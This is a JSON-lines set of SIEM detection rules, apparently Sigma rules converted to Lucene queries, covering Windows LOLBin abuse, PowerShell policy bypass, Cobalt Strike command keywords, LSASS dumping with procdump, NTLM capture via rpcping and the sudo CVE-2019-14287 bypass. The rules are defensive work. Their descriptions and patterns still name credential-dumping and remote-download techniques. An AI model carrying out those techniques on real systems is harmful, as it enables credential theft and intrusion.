{"description": "Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them without touching disk. The manifest option enables you to install an application by passing in a YAML file directly to the client. Winget can be used to download and install exe's, msi, msix files later.", "author": ["Sreeman", "Florian Roth", "Frack113"], "enabled": false, "false_positives": ["Admin activity installing packages not in the official Microsoft repo. Winget probably won't be used by most users."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ce7500e6-0465-6970-98f2-01b28f12fb71", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Monitoring Winget For LOLbin Execution", "query": "(((process.executable.text:*\\\\winget.exe) OR (winlog.event_data.OriginalFileName:\"winget.exe\")) AND process.command_line.text:*install* AND process.command_line.text:(*\\-m\\ * OR *\\-\\-manifest*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc070af1-d121-b0a0-1ddd-be6bdfef179c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Obfuscated IP Download", "query": "(process.command_line.text:(*Invoke\\-WebRequest* OR *iwr\\ * OR *wget\\ * OR *curl\\ * OR *DownloadFile* OR *DownloadString*) AND (process.command_line.text:(*\\/\\/0x* OR *.0x* OR *.00x*) OR (process.command_line.text:*http\\:\\/\\/%* AND process.command_line.text:*%2e*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", "author": ["Tim Rauch"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8bc28194-c9e6-f18c-5839-3a89e42ce53b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Microsoft IIS Connection Strings Decryption", "query": "(((process.executable.text:*\\\\aspnet_regiis.exe) OR (winlog.event_data.OriginalFileName:\"aspnet_regiis.exe\")) AND (process.command_line.text:*connectionStrings* AND process.command_line.text:*\\ \\-pdf*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects use of chcp to look up the system locale value as part of host discovery", "enabled": false, "false_positives": ["During Anaconda update the 'conda.exe' process will eventually launch the command described in the detection section"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "82a8cac5-dc04-baba-014c-ed89f5289890", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CHCP CodePage Locale Lookup", "query": "((process.parent.executable.text:*\\\\cmd.exe AND process.parent.command_line.text:(*\\ \\/c\\ * OR *\\ \\/k\\ *) AND process.executable.text:*\\\\chcp.com AND process.command_line.text:(*chcp OR *chcp\\ OR *chcp\\ \\ )) AND (NOT ((GrandparentCommandLine:*\\/c\\ C\\:\\\\ProgramData\\\\Anaconda3*))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1614"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1614", "name": "System Location Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["_pete_0", "TheDFIRReport"], "license": ""}
{"description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ad8c3744-ab09-ba55-9567-084e43096004", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Operator Bloopers Cobalt Strike Commands", "query": "((process.command_line.text:(cmd.exe* OR c\\:\\\\windows\\\\system32\\\\cmd.exe*) AND process.command_line.text:(*psinject* OR *spawnas* OR *make_token* OR *remote\\-exec* OR *rev2self* OR *dcsync* OR *logonpasswords* OR *execute\\-assembly* OR *getsystem*) AND process.executable.text:*\\\\cmd.exe) AND (NOT ((process.parent.executable.text:*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe AND process.command_line.text:*\\/d\\ \\/s\\ \\/c\\ * AND process.command_line.text:*checkfilenameiocs\\ \\-\\-ioc\\-path\\ *))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["_pete_0", "TheDFIRReport"], "license": ""}
{"description": "Detects use of executionpolicy option to set insecure policies", "enabled": false, "false_positives": ["Administrator script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9ef1be9a-ce64-84c7-89f3-abd424ca522d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Change PowerShell Policies to an Insecure Level", "query": "((process.command_line.text:(*\\ \\-executionpolicy\\ * OR *\\ \\-ep\\ * OR *\\ \\-exec\\ *) AND process.command_line.text:(*Unrestricted* OR *bypass* OR *RemoteSigned*)) AND (NOT (process.command_line.text:(*C\\:\\\\Program\\ Files* OR *C\\:\\\\ProgramData* OR *\\\\AppData\\\\Roaming\\\\Code\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects use of redirection character \">\" to redicrect information in commandline", "author": ["frack113"], "enabled": false, "false_positives": ["Internet Download Manager extensions use named pipes and redirection via CLI. Filter it out if you use it in your environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "776ab380-0cc7-79db-6fe4-e2cace831ca5", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Redirect Output in CommandLine", "query": "((((winlog.event_data.OriginalFileName:\"Cmd.Exe\") OR (process.executable.text:*\\\\cmd.exe)) AND process.command_line.text:*>*) AND (NOT process.command_line.text:(*C\\:\\\\Program\\ Files\\ \$x86\$\\\\Internet\\ Download\\ Manager\\\\IDMMsgHost.exe* OR *chrome\\-extension\\:\\/\\/* OR *\\\\.\\\\pipe\\\\chrome.nativeMessaging*)))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1082"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1082", "name": "System Information Discovery", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects use of Set-ExecutionPolicy to set insecure policies", "author": ["frack113"], "enabled": false, "false_positives": ["Administrator script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "67cf5ab8-246a-39da-96e3-5e38122e629a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Change PowerShell Policies to an Insecure Level - PowerShell", "query": "((powershell.file.script_block_text:*Set\\-ExecutionPolicy* AND powershell.file.script_block_text:(*Unrestricted* OR *bypass* OR *RemoteSigned*)) AND (NOT (powershell.file.script_block_text:(*\$New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/community.chocolatey.org\\/install.ps1'\$* OR *\$New\\-Object\\ System.Net.WebClient\$.DownloadString\$'https\\:\\/\\/chocolatey.org\\/install.ps1'\$* OR *\\\\AppData\\\\Roaming\\\\Code\\\\*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects use of WinAPI Functions in PowerShell scripts", "author": ["Nikita Nazarov", "oscd.community", "Tim Shelton"], "enabled": false, "false_positives": ["Carbon PowerShell Module ()"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a71a444e-8d2d-7d81-62a2-5d0656a23cf5", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Potential WinAPI Calls Via PowerShell Scripts", "query": "(powershell.file.script_block_text:(*AddSecurityPackage* OR *AdjustTokenPrivileges* OR *Advapi32* OR *CloseHandle* OR *CreateProcessWithToken* OR *CreateRemoteThread* OR *CreateThread* OR *CreateUserThread* OR *DangerousGetHandle* OR *DuplicateTokenEx* OR *EnumerateSecurityPackages* OR *FreeLibrary* OR *GetDelegateForFunctionPointer* OR *GetLogonSessionData* OR *GetModuleHandle* OR *GetProcAddress* OR *GetProcessHandle* OR *GetTokenInformation* OR *ImpersonateLoggedOnUser* OR *kernel32* OR *LoadLibrary* OR *memcpy* OR *MiniDumpWriteDump* OR *msvcrt* OR *ntdll* OR *OpenDesktop* OR *OpenProcess* OR *OpenProcessToken* OR *OpenThreadToken* OR *OpenWindowStation* OR *QueueUserApc* OR *ReadProcessMemory* OR *RevertToSelf* OR *RtlCreateUserThread* OR *secur32* OR *SetThreadToken* OR *VirtualAlloc* OR *VirtualFree* OR *VirtualProtect* OR *WaitForSingleObject* OR *WriteInt32* OR *WriteProcessMemory* OR *ZeroFreeGlobalAllocUnicode*) AND (NOT (powershell.file.script_block_text:#\\ Copyright\\ 2016\\ Amazon.com,\\ Inc.\\ or\\ its\\ affiliates.* AND powershell.file.script_block_text:*function\\ Import\\-SerialPortUtil\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059", "T1106"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}, {"id": "T1106", "name": "Native API", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects use of Wlrmdr.exe in which the -u parameter is passed to ShellExecute", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "09fe8dc5-dbc5-90dc-e52f-0700623cd7c8", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Wlrmdr Lolbin Use as Launcher", "query": "((process.executable.text:*\\\\wlrmdr.exe AND process.command_line.text:*\\-s\\ * AND process.command_line.text:*\\-f\\ * AND process.command_line.text:*\\-t\\ * AND process.command_line.text:*\\-m\\ * AND process.command_line.text:*\\-a\\ * AND process.command_line.text:*\\-u\\ *) AND (NOT ((process.parent.executable.text:\"C\\:\\\\Windows\\\\System32\\\\winlogon.exe\") OR (process.parent.executable.text:\"\\-\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects user agent and URI paths used by empire agents", "enabled": false, "false_positives": ["Valid requests with this exact user agent to server scripts of the defined names"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "0d98bf3c-f3ca-ca62-0ffe-fa5b3e592709", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Empire UserAgent URI Combo", "query": "(user_agent.original:\"Mozilla\\/5.0\\ \$Windows\\ NT\\ 6.1;\\ WOW64;\\ Trident\\/7.0;\\ rv\\:11.0\$\\ like\\ Gecko\" AND cs-uri:(\"\\/admin\\/get.php\" OR \"\\/news.php\" OR \"\\/login\\/process.php\") AND http.request.method:\"POST\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "207207b5-53d7-2e46-4dc7-72da19a16683", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Sudo Privilege Escalation CVE-2019-14287", "query": "*\\ \\-u#*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "207207b5-53d7-2e46-4dc7-72da19a16683", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Sudo Privilege Escalation CVE-2019-14287", "query": "USER:(#\\-* OR #*4294967295)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation", "T1068", "T1548"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1068", "name": "Exploitation for Privilege Escalation", "reference": ""}, {"id": "T1548", "name": "Abuse Elevation Control Mechanism", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects uses of the createdump.exe LOLOBIN utility to dump process memory", "enabled": false, "false_positives": ["Command lines that use the same flags"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "2be9f55e-261f-ca87-c4f3-aeb37b0889a1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CreateDump Process Dump", "query": "((process.executable.text:*\\\\createdump.exe OR winlog.event_data.OriginalFileName:\"FX_VER_INTERNALNAME_STR\") AND process.command_line.text:(*\\ \\-u\\ * OR *\\ \\-\\-full\\ * OR *\\ \\-f\\ * OR *\\ \\-\\-name\\ * OR *.dmp\\ *))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c271556e-27c3-02d5-358a-d73b84321af4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "RdrLeakDiag Process Dump", "query": "(process.command_line:*\\/fullmemdmp* AND (process.executable:*\\\\rdrleakdiag.exe OR (process.command_line:*\\ \\/o\\ * AND process.command_line:*\\ \\/p\\ *)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects uses of the SysInternals Procdump utility in which procdump or its output get renamed or a dump file is moved ot copied to a different name", "enabled": false, "false_positives": ["Cases in which procdump just gets copied to a different directory without any renaming"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f7c26536-173b-c31b-ffdf-50602f45882e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Procdump Evasion", "query": "(process.command_line:(*copy\\ procdump* OR *move\\ procdump*) OR (process.command_line:*copy\\ * AND process.command_line:*.dmp\\ * AND process.command_line:(*2.dmp* OR *lsass* OR *out.dmp*)) OR process.command_line:(*copy\\ lsass.exe_* OR *move\\ lsass.exe_*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects uses of the SysInternals Procdump utility", "enabled": false, "false_positives": ["Legitimate use of procdump by a developer or administrator"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "db7b25ca-1888-9643-dd84-abf9186391f7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Procdump Usage", "query": "(process.executable:(*\\\\procdump.exe OR *\\\\procdump64.exe) OR (process.command_line:*\\ \\-ma\\ * AND process.command_line:*.exe*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects using Diskshadow.exe to execute arbitrary code in text file", "enabled": false, "false_positives": ["False postitve can be if administrators use diskshadow tool in their infrastructure as a main backup tool with scripts."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d2b5722f-9bd0-8b61-09fc-f3703ec071f4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via Diskshadow.exe", "query": "(process.executable:*\\\\diskshadow.exe AND process.command_line:(*\\/s* OR *\\-s*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Ivan Dyachkov", "oscd.community"], "license": ""}
{"description": "Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "172f95be-b3e6-c067-6cdc-605059b637fc", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DLL Execution via Rasautou.exe", "query": "((process.executable:*\\\\rasautou.exe OR winlog.event_data.OriginalFileName:\"rasdlui.exe\") AND (process.command_line:*\\-d* AND process.command_line:*\\-p*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Julia Fomina", "oscd.community"], "license": ""}
{"description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f15a27a0-0de0-5e3a-7e0f-3d4aab41a118", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DLL Execution Via Register-cimprovider.exe", "query": "(process.executable:*\\\\register\\-cimprovider.exe AND process.command_line:*\\-path* AND process.command_line:*dll*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Ivan Dyachkov", "Yulia Fomina", "oscd.community"], "license": ""}
{"description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "94508117-8f24-1375-a25e-6ad5ef4f7a40", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Capture Credentials with Rpcping.exe", "query": "((process.executable:*\\\\rpcping.exe AND process.command_line:(*\\-s* OR *\\/s*)) AND ((process.command_line:*\\-u* AND process.command_line:*NTLM*) OR (process.command_line:*\\/u* AND process.command_line:*NTLM*) OR (process.command_line:*\\-t* AND process.command_line:*ncacn_np*) OR (process.command_line:*\\/t* AND process.command_line:*ncacn_np*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", "", "", "(v=ws.11)"], "timestamp_override": "event.ingested", "author": ["Julia Fomina", "oscd.community"], "license": ""}
{"description": "Detects using SettingSyncHost.exe to run hijacked binary", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cb2d2d6b-435b-dcb6-9320-a5bf987042e2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Using SettingSyncHost.exe as LOLBin", "query": "((NOT (process.executable:(C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\SysWOW64\\\\*))) AND (process.parent.command_line:*cmd.exe\\ \\/c* AND process.parent.command_line:*RoamDiag.cmd* AND process.parent.command_line:*\\-outputpath*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Anton Kutepov", "oscd.community"], "license": ""}
{"description": "Detects using WorkFolders.exe to execute an arbitrary control.exe", "enabled": false, "false_positives": ["Legitimate usage of the uncommon Windows Work Folders feature."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "53cdfbca-d767-2849-cf6f-c44acd429530", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Execution via WorkFolders.exe", "query": "((process.executable:*\\\\control.exe AND process.parent.executable:*\\\\WorkFolders.exe) AND (NOT (process.executable:\"C\\:\\\\Windows\\\\System32\\\\control.exe\")))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Maxime Thiebaut (@0xThiebaut)"], "license": ""}
{"description": "Detects value modification of registry key containing path to binary used as screensaver.", "enabled": false, "false_positives": ["Legitimate modification of screensaver"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9f478575-e8a7-02d4-2dd2-fbbf89579258", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Path To Screensaver Binary Modified", "query": "(winlog.event_data.TargetObject:*\\\\Control\\ Panel\\\\Desktop\\\\SCRNSAVE.EXE AND (NOT (process.executable:(*\\\\rundll32.exe OR *\\\\explorer.exe))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Privilege Escalation", "T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Bartlomiej Czyz @bczyz1", "oscd.community"], "license": ""}
{"description": "Detects various anomalies in relation to regsvr32.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "23dc8f9c-7bb6-d844-f632-e6c3a4095e02", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Regsvr32 Anomaly", "query": "(((process.executable.text:*\\\\regsvr32.exe AND process.command_line.text:*\\\\Temp\\\\*) OR (process.executable.text:*\\\\regsvr32.exe AND process.parent.executable.text:(*\\\\powershell.exe OR *\\\\pwsh.exe OR *\\\\powershell_ise.exe)) OR (process.executable.text:*\\\\regsvr32.exe AND process.parent.executable.text:*\\\\cmd.exe) OR (process.executable.text:*\\\\regsvr32.exe AND process.command_line.text:*\\/i\\:* AND process.command_line.text:*http* AND process.command_line.text:*scrobj.dll) OR (process.executable.text:*\\\\regsvr32.exe AND process.command_line.text:*\\/i\\:* AND process.command_line.text:*ftp* AND process.command_line.text:*scrobj.dll) OR (process.executable.text:*\\\\wscript.exe AND process.parent.executable.text:*\\\\regsvr32.exe) OR (process.executable.text:*\\\\EXCEL.EXE AND process.command_line.text:*..\\\\..\\\\..\\\\Windows\\\\System32\\\\regsvr32.exe\\ *) OR (process.parent.executable.text:*\\\\mshta.exe AND process.executable.text:*\\\\regsvr32.exe) OR (process.executable.text:*\\\\regsvr32.exe AND process.command_line.text:(*\\\\AppData\\\\Local* OR *C\\:\\\\Users\\\\Public*)) OR (process.executable.text:*\\\\regsvr32.exe AND process.command_line.text:(*.jpg OR *.jpeg OR *.png OR *.gif OR *.bin OR *.tmp OR *.temp OR *.txt))) AND (NOT ((process.command_line.text:(*\\\\AppData\\\\Local\\\\Microsoft\\\\Teams* OR *\\\\AppData\\\\Local\\\\WebEx\\\\WebEx64\\\\Meetings\\\\atucfobj.dll*)) OR (process.parent.executable.text:\"C\\:\\\\Program\\ Files\\\\Box\\\\Box\\\\FS\\\\streem.exe\" AND process.command_line.text:*\\\\Program\\ Files\\\\Box\\\\Box\\\\Temp\\\\*) OR (process.command_line.text:*\\/s\\ C\\:\\\\Windows\\\\System32\\\\RpcProxy\\\\RpcProxy.dll))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community", "Tim Shelton"], "license": ""}
